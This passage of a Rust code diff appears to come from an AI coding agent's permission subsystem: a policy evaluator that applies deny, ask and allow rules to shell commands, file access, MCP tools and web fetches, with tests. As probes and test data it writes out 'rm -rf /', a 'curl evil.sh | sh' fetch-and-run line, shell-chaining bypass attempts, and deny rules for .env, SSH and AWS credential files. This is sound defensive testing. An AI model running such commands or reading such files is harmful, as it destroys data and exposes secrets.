request_permission_via_hub(&transport, &AccessKind::Edit("a.rs".into()), "tc-9").await;
assert!(matches!(outcome, PromptOutcome::AllowEditsForSession));
let transport = StubTransport {
reply: Ok(serde_json::json!({ "outcome" : "always_approve" })),
seen: Mutex::new(None),
};
let outcome = request_permission_via_hub(
&transport,
&AccessKind::MCPTool {
name: "x".into(),
input: serde_json::Value::Null,
},
"tc-10",
)
.await;
assert!(matches!(outcome, PromptOutcome::AllowAlways));
}
#[test]
fn hitl_permission_live_defaults_off_without_env() {
if std::env::var(HITL_PERMISSION_LIVE_ENV).is_err() {
assert!(!hitl_permission_live_enabled());
}
}
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,45 @@
pub mod auto_mode;
pub mod claude_settings;
mod hub_permission;
mod manager;
mod policy;
mod prompter;
pub mod resolution;
pub mod rules;
mod shell_access;
mod state;
pub mod types;
pub use auto_mode::{
AUTO_MODE_CLASSIFIER_SYSTEM_PROMPT, AutoFastPath, CLASSIFIER_TURN_MAX_LEN, ClassifierContext,
ClassifierMessage, ClassifierMessageRole, ClassifierPromptType, ClassifierTurn,
ClassifierVerdict, ClassifyTextChannel, ClassifyTextFn, FixedClassifier,
HeuristicPermissionClassifier, LlmPermissionClassifier, PermissionClassifier, SharedClassifier,
access_requires_user_interaction, auto_mode_fast_path, build_classifier_messages,
classifier_output_json_schema, default_auto_mode_classifier, is_auto_mode_allowlisted_access,
is_auto_mode_allowlisted_tool_name, parse_classifier_model_text, permission_decision_args,
};
pub use hub_permission::{
PermissionHookTransport, ToolServerPermissionTransport, access_kind_for_hub_tool,
hitl_permission_live_enabled, prompt_outcome_allows, request_permission_via_hub,
};
/// Zero-init this module's metric families. See [`crate::init_metrics`].
pub(crate) fn init_metrics() {
hub_permission::init_metrics();
}
pub use manager::{
PermissionHandle, default_always_allow_scope, spawn_permission_manager,
spawn_permission_manager_with_hub,
};
pub use policy::CompiledPolicy;
pub use prompter::{
ALLOW_EDITS_SESSION_OPTION_ID, AcpPrompter, BashCommandPermission, BashCommandSelectedTerms,
ENABLE_ALWAYS_APPROVE_OPTION_ID, MCP_TOOL_NAME_DELIMITER, McpScopeSelection, McpToolPermission,
PromptOutcome, is_enable_always_approve_option, mcp_pretty_name_if_qualified,
mcp_titleize_segment, mcp_tool_action, mcp_tool_display_name,
};
pub use state::PermissionState;
pub use state::cleanup_stale_permission_state;
pub use types::{AccessKind, ClientType, Decision, PermissionCommand, PermissionEvent};
pub mod bash_command_splitting;
@@ -0,0 +1,878 @@
use crate::permission::bash_command_splitting::{all_commands_from_script, unwrap_wrappers};
use crate::permission::shell_access::combine_decisions;
use crate::permission::types::{
AccessKind, Decision, PatternMode, PermissionConfig, PermissionRule, RuleAction, ToolFilter,
};
use kigi_tools::implementations::grok_build::web_fetch::domain::normalize_domain;
#[derive(Clone, Copy)]
enum MatchContext {
/// `*` respects `/` as a segment boundary; `**` crosses it.
Path,
/// `*` matches any character including `/`.
Freeform,
}
struct CompiledRule<'a> {
rule: &'a PermissionRule,
matcher: Option<&'a glob::Pattern>,
}
/// Permission policy with pre-compiled glob patterns.
pub struct CompiledPolicy {
config: PermissionConfig,
matchers: Vec<Option<glob::Pattern>>,
/// True if any Read/Edit/Any deny/ask rule exists, so the shell file-access
/// gate (`shell_access.rs`) should run. Read by `evaluate_shell_file_access`.
pub(crate) has_file_restrictions: bool,
/// True if any Bash/Any deny/ask rule exists, so the per-segment Bash command
/// gate should run. Read by `evaluate_bash_command_policy`.
has_bash_command_restrictions: bool,
}
impl CompiledPolicy {
pub fn new(config: PermissionConfig) -> Self {
let matchers = config
.rules
.iter()
.map(|rule| {
rule.pattern
.as_deref()
.filter(|p| *p != "*")
.and_then(|p| glob::Pattern::new(p).ok())
})
.collect();
let has_file_restrictions = config.rules.iter().any(|rule| {
matches!(rule.action, RuleAction::Deny | RuleAction::Ask)
&& matches!(
rule.tool,
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Any
)
});
let has_bash_command_restrictions = config.rules.iter().any(|rule| {
matches!(rule.action, RuleAction::Deny | RuleAction::Ask)
&& matches!(rule.tool, ToolFilter::Bash | ToolFilter::Any)
});
Self {
config,
matchers,
has_file_restrictions,
has_bash_command_restrictions,
}
}
/// Evaluate managed Bash/Any deny/ask command rules against every chained
/// segment (wrappers like `timeout`/`env` peeled, `bash -c` scripts recursed
/// into), not just the leading command. Escalation only: returns
/// `Reject`/`Ask`, never `Allow`. A script that can't be decomposed fails
/// closed to `Ask` rather than falling through.
pub fn evaluate_bash_command_policy(&self, cmd: &str) -> Option<Decision> {
if !self.has_bash_command_restrictions {
return None;
}
self.evaluate_bash_command_segments(cmd, 0)
}
fn evaluate_bash_command_segments(&self, cmd: &str, depth: usize) -> Option<Decision> {
// Far deeper than legitimate `bash -c` nesting; fail closed rather than
// let an over-nested script run unevaluated.
if depth >= 8 {
return Some(Decision::Ask);
}
let Some(segments) = all_commands_from_script(cmd) else {
return Some(Decision::Ask);
};
let escalate = |segment: &str| match self.evaluate(&AccessKind::Bash(segment.to_owned())) {
Some(Decision::Allow) | None => None,
other => other,
};
let mut decision = None;
for parsed in &segments {
let raw_words = parsed.words();
let unwrapped = unwrap_wrappers(raw_words);
// Rules may target the wrapper or the wrapped program, so both forms
// are checked — but only once when nothing was peeled.
let forms = std::iter::once(raw_words)
.chain((unwrapped.len() != raw_words.len()).then_some(unwrapped));
for words in forms {
decision = combine_decisions(decision, escalate(&words.join(" ")));
if let Some(inner) = shell_dash_c_script(words) {
decision = combine_decisions(
decision,
self.evaluate_bash_command_segments(inner, depth + 1),
);
}
}
}
decision
}
/// Evaluate using deny > ask > allow precedence (order-independent).
pub fn evaluate(&self, access: &AccessKind) -> Option<Decision> {
let mut matched_ask = false;
let mut matched_allow = false;
for (rule, matcher) in self.config.rules.iter().zip(&self.matchers) {
if !tool_filter_matches(access, &rule.tool) {
continue;
}
let cr = CompiledRule {
rule,
matcher: matcher.as_ref(),
};
if !pattern_matches(access, &cr) {
continue;
}
match rule.action {
RuleAction::Deny => {
let tool_label = match &rule.tool {
ToolFilter::Any => "any tool",
ToolFilter::Bash => "bash",
ToolFilter::Edit => "edit",
ToolFilter::Read => "read",
ToolFilter::Grep => "grep",
ToolFilter::Mcp => "mcp",
ToolFilter::WebFetch => "web_fetch",
ToolFilter::WebSearch => "web_search",
};
let reason = match &rule.pattern {
Some(pattern) => format!(
"Denied by permission policy: deny rule on {tool_label} matching \"{pattern}\""
),
None => format!("Denied by permission policy: deny rule on {tool_label}"),
};
return Some(Decision::Reject(reason));
}
RuleAction::Ask => matched_ask = true,
RuleAction::Allow => matched_allow = true,
}
}
if matched_ask {
return Some(Decision::Ask);
}
if matched_allow {
return Some(Decision::Allow);
}
None
}
}
impl From<PermissionConfig> for CompiledPolicy {
fn from(config: PermissionConfig) -> Self {
Self::new(config)
}
}
/// The inner script string of a `bash -c "<script>"` invocation (also `sh`,
/// `dash`, `zsh`, `ksh`); `None` if the words are not such an invocation.
/// Known residuals: option arguments (`-o pipefail`) and `+`-option words can
/// mis-take the operand — escalation-only so a miss never allows; skipping `+…` would add a dodge.
fn shell_dash_c_script(words: &[String]) -> Option<&str> {
let program = words.first()?.rsplit(['/', '\\']).next()?;
if !matches!(program, "bash" | "sh" | "dash" | "zsh" | "ksh") {
return None;
}
let flag = words
.iter()
.skip(1)
.position(|w| w.starts_with('-') && !w.starts_with("--") && w.contains('c'))?;
// The script is the first operand after the `-c` cluster, not necessarily
// the next word: more options may sit in between (`bash -c -x 'id'`), and
// `--` / a lone `-` end option parsing with the operand following.
let mut rest = words.get(flag + 2..)?.iter();
while let Some(word) = rest.next() {
if matches!(word.as_str(), "--" | "-") {
return rest.next().map(String::as_str);
}
if !word.starts_with('-') {
return Some(word.as_str());
}
}
None
}
fn tool_filter_matches(access: &AccessKind, filter: &ToolFilter) -> bool {
match filter {
ToolFilter::Any => true,
ToolFilter::Bash => matches!(access, AccessKind::Bash(_)),
ToolFilter::Edit => matches!(access, AccessKind::Edit(_)),
// A Read rule also governs the Grep tool: grep reads file contents, so a
// managed `Read` deny/ask on a path must block grepping that same path —
// otherwise grep is a read-bypass. Grep-specific rules still use `Grep`.
ToolFilter::Read => matches!(access, AccessKind::Read(_) | AccessKind::Grep { .. }),
ToolFilter::Grep => matches!(access, AccessKind::Grep { .. }),
ToolFilter::Mcp => matches!(access, AccessKind::MCPTool { .. }),
ToolFilter::WebFetch => matches!(access, AccessKind::WebFetch(_)),
ToolFilter::WebSearch => matches!(access, AccessKind::WebSearch(_)),
}
}
fn pattern_matches(access: &AccessKind, cr: &CompiledRule<'_>) -> bool {
let pattern = match cr.rule.pattern.as_deref() {
Some(p) => p,
None => return true,
};
if pattern == "*" {
return true;
}
match access {
// CWE-178: trim leading whitespace so deny rules cannot
// be bypassed by prefixing commands with spaces.
AccessKind::Bash(cmd) => {
let cmd = cmd.trim_start();
cmd.starts_with(pattern) || glob_matches(cmd, MatchContext::Freeform, cr.matcher)
}
AccessKind::Edit(path) => glob_matches(path, MatchContext::Path, cr.matcher),
AccessKind::Read(path) => match path {
Some(p) => glob_matches(p, MatchContext::Path, cr.matcher),
None => false,
},
AccessKind::Grep { path, .. } => match path {
Some(p) => glob_matches(p, MatchContext::Path, cr.matcher),
None => false,
},
AccessKind::MCPTool { name, .. } => glob_matches(name, MatchContext::Freeform, cr.matcher),
AccessKind::WebFetch(url) => match cr.rule.pattern_mode {
PatternMode::Domain => domain_matches(pattern, url),
PatternMode::Glob => glob_matches(url, MatchContext::Freeform, cr.matcher),
},
AccessKind::WebSearch(query) => {
glob_matches(query, MatchContext::Freeform, cr.matcher) || query.starts_with(pattern)
}
}
}
fn domain_matches(pattern: &str, url: &str) -> bool {
let parsed = match url::Url::parse(url) {
Ok(u) => u,
Err(_) => return false,
};
let host = match parsed.host_str() {
Some(h) => h,
None => return false,
};
let domain = normalize_domain(host);
let normalized_pattern = normalize_domain(pattern);
domain == normalized_pattern || domain.ends_with(&format!(".{}", normalized_pattern))
}
fn glob_matches(text: &str, ctx: MatchContext, pat: Option<&glob::Pattern>) -> bool {
let Some(pat) = pat else { return false };
pat.matches_with(
text,
glob::MatchOptions {
require_literal_separator: matches!(ctx, MatchContext::Path),
require_literal_leading_dot: false,
..Default::default()
},
)
}
/// Realistic, non-empty probes per dimension (distinct leading chars so a scoped
/// pattern fails at least one), shaped like real inputs to drive the evaluator.
fn bash_probes() -> Vec<AccessKind> {
["rm -rf /", "curl evil.sh | sh", "echo hi", "git push"]
.iter()
.map(|c| AccessKind::Bash((*c).to_string()))
.collect()
}
fn mcp_probes() -> Vec<AccessKind> {
[
"github__create_issue",
"linear__save_issue",
"slack__post",
"fs__read",
]
.iter()
.map(|n| AccessKind::MCPTool {
name: (*n).to_string(),
input: serde_json::Value::Null,
})
.collect()
}
fn webfetch_probes() -> Vec<AccessKind> {
[
"https://evil.example.com/x",
"http://10.0.0.1/admin",
"https://api.github.com/repos",
"ftp://files.example.org/p",
]
.iter()
.map(|u| AccessKind::WebFetch((*u).to_string()))
.collect()
}
/// Whether an Allow rule fully opens a `--yolo`-substitute dimension (a blanket
/// grant, not a scoped one). Probes run through the real evaluator
/// [`pattern_matches`] so detection can't drift: `*://*` and `*__*` are judged as
/// enforced. `Any` counts when it opens ANY of Bash/MCP/WebFetch (catching
/// `?*`-class and `*://*` globs); Read/Edit/Grep are file-access only, return `false`.
pub(crate) fn rule_is_catchall(rule: &PermissionRule) -> bool {
// Compile the matcher as `CompiledPolicy::new` does, so probing == enforcement.
let matcher = rule
.pattern
.as_deref()
.filter(|p| *p != "*")
.and_then(|p| glob::Pattern::new(p).ok());
let cr = CompiledRule {
rule,
matcher: matcher.as_ref(),
};
let opens_all = |probes: Vec<AccessKind>| probes.iter().all(|a| pattern_matches(a, &cr));
match rule.tool {
ToolFilter::Bash => opens_all(bash_probes()),
ToolFilter::Mcp => opens_all(mcp_probes()),
ToolFilter::WebFetch => opens_all(webfetch_probes()),
ToolFilter::Any => {
opens_all(bash_probes()) || opens_all(mcp_probes()) || opens_all(webfetch_probes())
}
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Grep | ToolFilter::WebSearch => false,
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::permission::types::PermissionRule;
// ── pattern_matches tests ─────────────────────────────────────────────
fn rule_for(pattern: &str) -> PermissionRule {
PermissionRule {
action: RuleAction::Allow,
tool: ToolFilter::Any,
pattern: Some(pattern.to_string()),
pattern_mode: PatternMode::Glob,
}
}
fn domain_rule(pattern: &str) -> PermissionRule {
PermissionRule {
action: RuleAction::Allow,
tool: ToolFilter::WebFetch,
pattern: Some(pattern.to_string()),
pattern_mode: PatternMode::Domain,
}
}
fn matches(access: &AccessKind, rule: &PermissionRule) -> bool {
let policy = CompiledPolicy::new(PermissionConfig::new(vec![rule.clone()]));
let cr = CompiledRule {
rule: &policy.config.rules[0],
matcher: policy.matchers[0].as_ref(),
};
pattern_matches(access, &cr)
}
#[test]
fn test_bash_pattern_matching() {
let access = AccessKind::Bash("npm install".to_string());
assert!(matches(&access, &rule_for("npm*")));
assert!(matches(&access, &rule_for("npm install")));
assert!(!matches(&access, &rule_for("cargo*")));
}
#[test]
fn rule_is_catchall_shares_the_evaluator() {
let rule = |tool: ToolFilter, pattern: Option<&str>, mode: PatternMode| PermissionRule {
action: RuleAction::Allow,
tool,
pattern: pattern.map(str::to_string),
pattern_mode: mode,
};
let glob = |tool: ToolFilter, p: Option<&str>| rule(tool, p, PatternMode::Glob);
// Bare / universal / prefix-regime globs are catch-alls in every
// substitute dimension, including `Any` (commands, MCP names, URLs, paths).
for tool in [
ToolFilter::Bash,
ToolFilter::Mcp,
ToolFilter::WebFetch,
ToolFilter::Any,
] {
assert!(rule_is_catchall(&glob(tool.clone(), None)), "{tool:?} bare");
assert!(
rule_is_catchall(&glob(tool.clone(), Some("*"))),
"{tool:?} *"
);
assert!(
rule_is_catchall(&glob(tool.clone(), Some("**"))),
"{tool:?} **"
);
// `?*` matches every non-empty input — the prefix-regime gap the old
// empty-string probe missed, now closed for `Any` too.
assert!(
rule_is_catchall(&glob(tool.clone(), Some("?*"))),
"{tool:?} ?*"
);
}
// `Any(**/*)` is also universal (preserves the old Any-detector case).
assert!(rule_is_catchall(&glob(ToolFilter::Any, Some("**/*"))));
// Shape-specific catch-alls a bash-shaped probe missed, judged via the
// real matcher.
assert!(rule_is_catchall(&glob(ToolFilter::WebFetch, Some("*://*"))));
assert!(rule_is_catchall(&glob(ToolFilter::Mcp, Some("*__*"))));
// `Any` also counts when it fully opens a single dimension (all web).
assert!(rule_is_catchall(&glob(ToolFilter::Any, Some("*://*"))));
// Scoped grants survive in every dimension; for `Any`, a pattern scoped
// to one regime fails the others' probes.
assert!(!rule_is_catchall(&glob(ToolFilter::Bash, Some("git *"))));
assert!(!rule_is_catchall(&glob(ToolFilter::Bash, Some("npm*"))));
assert!(!rule_is_catchall(&glob(ToolFilter::Mcp, Some("github__*"))));
assert!(!rule_is_catchall(&glob(
ToolFilter::WebFetch,
Some("https://api.example.com/*")
)));
assert!(!rule_is_catchall(&glob(ToolFilter::Any, Some("src/**"))));
assert!(!rule_is_catchall(&glob(ToolFilter::Any, Some("git *"))));
// Domain mode is judged by the real domain matcher: one domain is scoped.
assert!(!rule_is_catchall(&rule(
ToolFilter::WebFetch,
Some("evil.example.com"),
PatternMode::Domain
)));
// Read/Edit/Grep are file-access only: never a `--yolo`-substitute catch-all.
assert!(!rule_is_catchall(&glob(ToolFilter::Read, Some("**"))));
assert!(!rule_is_catchall(&glob(ToolFilter::Edit, Some("*"))));
}
#[test]
fn test_edit_path_mode() {
// * doesn't cross / in path mode; ** does
let access = AccessKind::Edit("/path/to/file.rs".to_string());
assert!(!matches(&access, &rule_for("/path*")));
assert!(matches(&access, &rule_for("/path/**")));
assert!(matches(&access, &rule_for("/path/**/file.rs")));
assert!(matches(&access, &rule_for("**/*.rs")));
}
#[test]
fn test_web_fetch_domain_matching() {
let access = AccessKind::WebFetch("https://api.example.com/v1/data".to_string());
assert!(matches(&access, &domain_rule("example.com")));
assert!(matches(&access, &domain_rule("api.example.com")));
assert!(!matches(&access, &domain_rule("other.com")));
// www. normalization
let www = AccessKind::WebFetch("https://www.example.com/page".to_string());
assert!(matches(&www, &domain_rule("example.com")));
}
#[test]
fn test_none_and_wildcard_patterns() {
// None pattern = match all (used by bare tool rules like "Bash" with no specifier)
let none_rule = PermissionRule {
action: RuleAction::Allow,
tool: ToolFilter::Any,
pattern: None,
pattern_mode: PatternMode::Glob,
};
assert!(matches(&AccessKind::Bash("anything".into()), &none_rule));
assert!(matches(&AccessKind::Read(None), &none_rule));
// Read(None) should not match a specific pattern
assert!(!matches(&AccessKind::Read(None), &rule_for("src/*")));
}
// ── tool_filter_matches tests ──────────────────────────────────────────
#[test]
fn test_tool_filter_any() {
assert!(tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::Any
));
assert!(tool_filter_matches(
&AccessKind::Edit("x".into()),
&ToolFilter::Any
));
assert!(tool_filter_matches(
&AccessKind::Read(None),
&ToolFilter::Any
));
}
#[test]
fn test_tool_filter_bash() {
assert!(tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::Bash
));
assert!(!tool_filter_matches(
&AccessKind::Edit("x".into()),
&ToolFilter::Bash
));
}
#[test]
fn test_tool_filter_edit() {
assert!(tool_filter_matches(
&AccessKind::Edit("x".into()),
&ToolFilter::Edit
));
assert!(!tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::Edit
));
}
#[test]
fn test_tool_filter_read() {
assert!(tool_filter_matches(
&AccessKind::Read(None),
&ToolFilter::Read
));
assert!(!tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::Read
));
}
#[test]
fn test_tool_filter_mcp() {
assert!(tool_filter_matches(
&AccessKind::MCPTool {
name: "fs".into(),
input: serde_json::Value::Null,
},
&ToolFilter::Mcp
));
assert!(!tool_filter_matches(
&AccessKind::Read(None),
&ToolFilter::Mcp
));
}
#[test]
fn test_tool_filter_web_fetch() {
assert!(tool_filter_matches(
&AccessKind::WebFetch("https://example.com".into()),
&ToolFilter::WebFetch
));
assert!(!tool_filter_matches(
&AccessKind::Bash("x".into()),
&ToolFilter::WebFetch
));
}
// ── evaluate tests ─────────────────────────────────────────────────────
fn evaluate_policy(access: &AccessKind, config: &PermissionConfig) -> Option<Decision> {
CompiledPolicy::new(config.clone()).evaluate(access)
}
fn bash_rule(action: RuleAction, pattern: &str) -> PermissionRule {
PermissionRule {
action,
tool: ToolFilter::Bash,
pattern: Some(pattern.to_string()),
pattern_mode: PatternMode::Glob,
}
}
#[test]
fn test_evaluate_policy_deny_beats_allow() {
let policy = PermissionConfig::new(vec![
bash_rule(RuleAction::Allow, "*"),
bash_rule(RuleAction::Deny, "rm*"),
]);
let result = evaluate_policy(&AccessKind::Bash("rm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
let result = evaluate_policy(&AccessKind::Bash("ls".into()), &policy);
assert!(matches!(result, Some(Decision::Allow)));
}
#[test]
fn test_evaluate_policy_ask_forces_prompt() {
let policy = PermissionConfig::new(vec![
bash_rule(RuleAction::Allow, "*"),
bash_rule(RuleAction::Ask, "git push*"),
]);
let result = evaluate_policy(&AccessKind::Bash("git push origin main".into()), &policy);
assert!(matches!(result, Some(Decision::Ask)));
let result = evaluate_policy(&AccessKind::Bash("ls".into()), &policy);
assert!(matches!(result, Some(Decision::Allow)));
}
#[test]
fn test_evaluate_policy_deny_beats_ask() {
let policy = PermissionConfig::new(vec![
bash_rule(RuleAction::Ask, "rm*"),
bash_rule(RuleAction::Deny, "rm -rf*"),
]);
let result = evaluate_policy(&AccessKind::Bash("rm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
}
#[test]
fn claude_bash_colon_wildcard_deny_rejects_by_prefix() {
use crate::permission::rules::parse_permission_rule;
// A `Bash(cmd:*)` deny must reject by command prefix, not sit as a dead `cmd:*` glob.
let rule = parse_permission_rule("Bash(sed:*)", RuleAction::Deny).unwrap();
let policy = PermissionConfig::new(vec![rule]);
let result = evaluate_policy(&AccessKind::Bash("sed -n '1,5p' file.txt".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
// Deliberate superset of upstream word-boundary `:*`: raw prefix also denies `sed-evil`.
assert!(matches!(
evaluate_policy(&AccessKind::Bash("sed-evil".into()), &policy),
Some(Decision::Reject(_))
));
assert!(evaluate_policy(&AccessKind::Bash("ls".into()), &policy).is_none());
}
// ── CompiledPolicy reuse tests ────────────────────────────────────────
#[test]
fn test_compiled_policy_reuse_across_evaluations() {
let compiled = CompiledPolicy::new(PermissionConfig::new(vec![
bash_rule(RuleAction::Allow, "npm*"),
bash_rule(RuleAction::Deny, "rm*"),
bash_rule(RuleAction::Ask, "git push*"),
]));
assert!(matches!(
compiled.evaluate(&AccessKind::Bash("npm test".into())),
Some(Decision::Allow)
));
assert!(matches!(
compiled.evaluate(&AccessKind::Bash("rm -rf /".into())),
Some(Decision::Reject(_))
));
assert!(matches!(
compiled.evaluate(&AccessKind::Bash("git push origin".into())),
Some(Decision::Ask)
));
assert!(
compiled
.evaluate(&AccessKind::Bash("cargo build".into()))
.is_none()
);
}
// ── whitespace prefix bypass regression tests ─────────────────
#[test]
fn test_bash_deny_not_bypassed_by_whitespace_prefix() {
let policy = PermissionConfig::new(vec![bash_rule(RuleAction::Deny, "rm*")]);
let result = evaluate_policy(&AccessKind::Bash(" rm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
let result = evaluate_policy(&AccessKind::Bash("\trm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
}
#[test]
fn test_bash_deny_not_bypassed_by_whitespace_with_glob() {
let policy = PermissionConfig::new(vec![
bash_rule(RuleAction::Deny, "rm*"),
bash_rule(RuleAction::Allow, "*"),
]);
let result = evaluate_policy(&AccessKind::Bash(" rm -rf /".into()), &policy);
assert!(matches!(result, Some(Decision::Reject(_))));
let result = evaluate_policy(&AccessKind::Bash("ls -la".into()), &policy);
assert!(matches!(result, Some(Decision::Allow)));
}
#[test]
fn test_bash_pattern_trims_whitespace() {
let access = AccessKind::Bash(" npm install".to_string());
assert!(matches(&access, &rule_for("npm*")));
assert!(matches(&access, &rule_for("npm install")));
let access = AccessKind::Bash("\t\t rm -rf".to_string());
assert!(matches(&access, &rule_for("rm*")));
}
// ── Deny bypass via shell operators ──────────────────────────────────
#[test]
fn bash_deny_enforced_in_non_leading_command_position() {
let policy = CompiledPolicy::new(PermissionConfig::new(vec![
bash_rule(RuleAction::Allow, "*"),
bash_rule(RuleAction::Deny, "id *"),
bash_rule(RuleAction::Deny, "id"),
]));
// A denied command after an operator / wrapper / `bash -c` must be rejected.
for cmd in [
"echo SAFE && id > M.txt",
"echo SAFE; id > M.txt",
"echo SAFE | cat; id > M.txt",
"timeout 5 id",
"bash -c \"id > M.txt\"",
"bash -c -x \"id > M.txt\"",
"bash -c -- \"id > M.txt\"",
] {
assert!(
matches!(
policy.evaluate_bash_command_policy(cmd),
Some(Decision::Reject(_))
),
"denied command in a non-leading position must be rejected: {cmd}"
);
}
// Scripts that cannot be decomposed must fail closed (prompt), not allow.
for cmd in ["OUT=$(id); echo \"$OUT\" > M.txt", "echo \"`id`\" > M.txt"] {
assert!(
matches!(
policy.evaluate_bash_command_policy(cmd),
Some(Decision::Ask)
),
"an undecomposable script must escalate, not fall through to allow: {cmd}"
);
}
// A clean compound with no denied segment is not escalated.
assert!(
policy
.evaluate_bash_command_policy("echo hi && ls")
.is_none()
);
// With no Bash deny/ask rules the gate is inert.
let no_restrictions = CompiledPolicy::new(PermissionConfig::new(vec![bash_rule(
RuleAction::Allow,
"*",
)]));
assert!(
no_restrictions
.evaluate_bash_command_policy("echo SAFE && id")
.is_none()
);
}
// ── default action tests ──────────────────────────────────────
#[test]
fn test_rule_action_defaults_to_deny() {
assert_eq!(RuleAction::default(), RuleAction::Deny);
}
#[test]
fn test_default_action_rule_denies_access() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::default(),
tool: ToolFilter::Any,
pattern: None,
pattern_mode: PatternMode::Glob,
}]);
let result = evaluate_policy(&AccessKind::Bash("anything".into()), &policy);
assert!(
matches!(result, Some(Decision::Reject(_))),
"Default RuleAction must deny access, not allow it"
);
}
// ── other tests from main ────────────────────────────────────────────
#[test]
fn mcp_tool_respects_deny_policy() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::Deny,
tool: ToolFilter::Mcp,
pattern: Some("evil_tool".into()),
pattern_mode: PatternMode::Glob,
}]);
let result = evaluate_policy(
&AccessKind::MCPTool {
name: "evil_tool".into(),
input: serde_json::Value::Null,
},
&policy,
);
assert!(matches!(result, Some(Decision::Reject(_))));
}
#[test]
fn test_evaluate_policy_glob_edit_rule() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::Allow,
tool: ToolFilter::Edit,
pattern: Some("src/**/*.rs".into()),
pattern_mode: PatternMode::Glob,
}]);
assert!(matches!(
evaluate_policy(&AccessKind::Edit("src/lib.rs".into()), &policy),
Some(Decision::Allow)
));
}
#[test]
fn deny_web_search_does_not_block_read_bash_or_webfetch() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::Deny,
tool: ToolFilter::WebSearch,
pattern: None,
pattern_mode: PatternMode::Glob,
}]);
assert!(matches!(
evaluate_policy(&AccessKind::WebSearch("rust lang".into()), &policy),
Some(Decision::Reject(_))
));
assert!(evaluate_policy(&AccessKind::Read(Some("src/lib.rs".into())), &policy).is_none());
assert!(evaluate_policy(&AccessKind::Bash("ls".into()), &policy).is_none());
assert!(evaluate_policy(&AccessKind::WebFetch("https://x.com".into()), &policy).is_none());
}
#[test]
fn deny_web_fetch_still_blocks_only_webfetch() {
let policy = PermissionConfig::new(vec![PermissionRule {
action: RuleAction::Deny,
tool: ToolFilter::WebFetch,
pattern: None,
pattern_mode: PatternMode::Glob,
}]);
assert!(matches!(
evaluate_policy(&AccessKind::WebFetch("https://x.com".into()), &policy),
Some(Decision::Reject(_))
));
assert!(evaluate_policy(&AccessKind::WebSearch("rust".into()), &policy).is_none());
}
/// The Grep tool reads file contents, so managed `Read` rules must govern it:
/// grepping a denied path is denied, an ask path prompts, and an unrestricted
/// path is unaffected. A recursive grep (no concrete path) matches no path
/// rule — tool-level glob excludes (not the policy) keep traversal safe.
#[test]
fn grep_tool_covered_by_read_rules() {
let read_rule = |action: RuleAction, pattern: &str| PermissionRule {
action,
tool: ToolFilter::Read,
pattern: Some(pattern.to_string()),
pattern_mode: PatternMode::Glob,
};
let config = PermissionConfig::new(vec![
read_rule(RuleAction::Deny, "**/.env"),
read_rule(RuleAction::Deny, "**/*.pem"),
read_rule(RuleAction::Deny, "**/.ssh/**"),
read_rule(RuleAction::Deny, "**/.aws/**"),
read_rule(RuleAction::Ask, "**/secrets/**"),
]);
let grep = |p: &str| AccessKind::Grep {
path: Some(p.to_string()),
glob: None,
};
for denied in [".env", "key.pem", ".ssh/id_rsa", ".aws/credentials"] {
assert!(
matches!(
evaluate_policy(&grep(denied), &config),
Some(Decision::Reject(_))
),
"grep on a Read-denied path must deny: {denied}"
);
}
assert!(matches!(
evaluate_policy(&grep("secrets/value.txt"), &config),
Some(Decision::Ask)
));
assert!(evaluate_policy(&grep("src/main.rs"), &config).is_none());
assert!(
evaluate_policy(
&AccessKind::Grep {
path: None,
glob: None,
},
&config,
)
.is_none()
);
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,302 @@
//! Native permission rule-string DSL and permission-mode vocabulary.
use std::str::FromStr;
use crate::permission::types::{PatternMode, PermissionRule, PromptPolicy, RuleAction, ToolFilter};
/// Recognized `permissions.defaultMode` values.
///
/// Unknown strings fail `FromStr` and are treated as [`Self::Default`] at the
/// call site (fail-safe) while still claiming the settings scope so a
/// typo in a more-specific file blocks a looser parent mode.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum DefaultPermissionMode {
Default,
AcceptEdits,
Plan,
/// Classifier-based auto mode. Accepted from settings; seeds the manager's
/// auto flag (no separate `disableAutoMode` gate yet — intentional).
Auto,
DontAsk,
BypassPermissions,
}
impl FromStr for DefaultPermissionMode {
type Err = String;
fn from_str(s: &str) -> Result<Self, Self::Err> {
match s {
"default" => Ok(Self::Default),
"acceptEdits" => Ok(Self::AcceptEdits),
"plan" => Ok(Self::Plan),
"auto" => Ok(Self::Auto),
"dontAsk" => Ok(Self::DontAsk),
"bypassPermissions" => Ok(Self::BypassPermissions),
other => Err(other.to_string()),
}
}
}
impl DefaultPermissionMode {
pub(crate) fn effects(self) -> DefaultModeEffects {
match self {
Self::AcceptEdits => DefaultModeEffects {
accept_edits: true,
..Default::default()
},
Self::BypassPermissions => DefaultModeEffects {
bypass_permissions: true,
..Default::default()
},
Self::Default | Self::Plan => DefaultModeEffects::default(),
Self::DontAsk => DefaultModeEffects {
prompt_policy: PromptPolicy::Deny,
..Default::default()
},
Self::Auto => DefaultModeEffects {
prompt_policy: PromptPolicy::Auto,
..Default::default()
},
}
}
}
/// Effects of a `defaultMode` on rules + prompt policy.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
pub(crate) struct DefaultModeEffects {
pub(crate) prompt_policy: PromptPolicy,
pub(crate) accept_edits: bool,
pub(crate) bypass_permissions: bool,
}
// ═════════════════════════════════════════════════════════════════════════════
// Error Type
// ═════════════════════════════════════════════════════════════════════════════
/// Errors from parsing a permission rule string.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum RuleParseError {
